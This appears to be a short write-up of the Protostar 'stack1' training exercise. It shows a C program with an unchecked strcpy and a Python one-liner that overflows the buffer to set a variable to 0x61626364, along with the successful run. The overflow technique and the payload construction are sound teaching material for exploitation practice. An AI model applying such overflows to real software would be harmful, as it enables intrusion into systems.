if(argc == 1) { errx(1, "please specify an argument\n"); }
modified = 0; strcpy(buffer, argv[1]);
if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
`` Like the previous stack exercice, the goal here is to overflow the buffer in order to write in the 'modified' variable. Only this time we have to insert a specific value in it : 0x61626364
Since we're inserting a string, we have to convert this value into ascii :
``` bash user@protostar:/opt/protostar/bin$ py -c 'print chr(0x61)' a
So 0x61626364 is translated to abcd.
The challenge webpage tells us that protostar is little endian. That means that the varibale will be stored with the leeast significant byte having the lower address in the stack.
We know have all the answers let’s test the solution
Let’s test that :
1 2 3 4
user@protostar:/opt/protostar/bin$ py -c 'print 64*"A"+"dcba"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba user@protostar:/opt/protostar/bin$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba you have correctly got the variable to the right value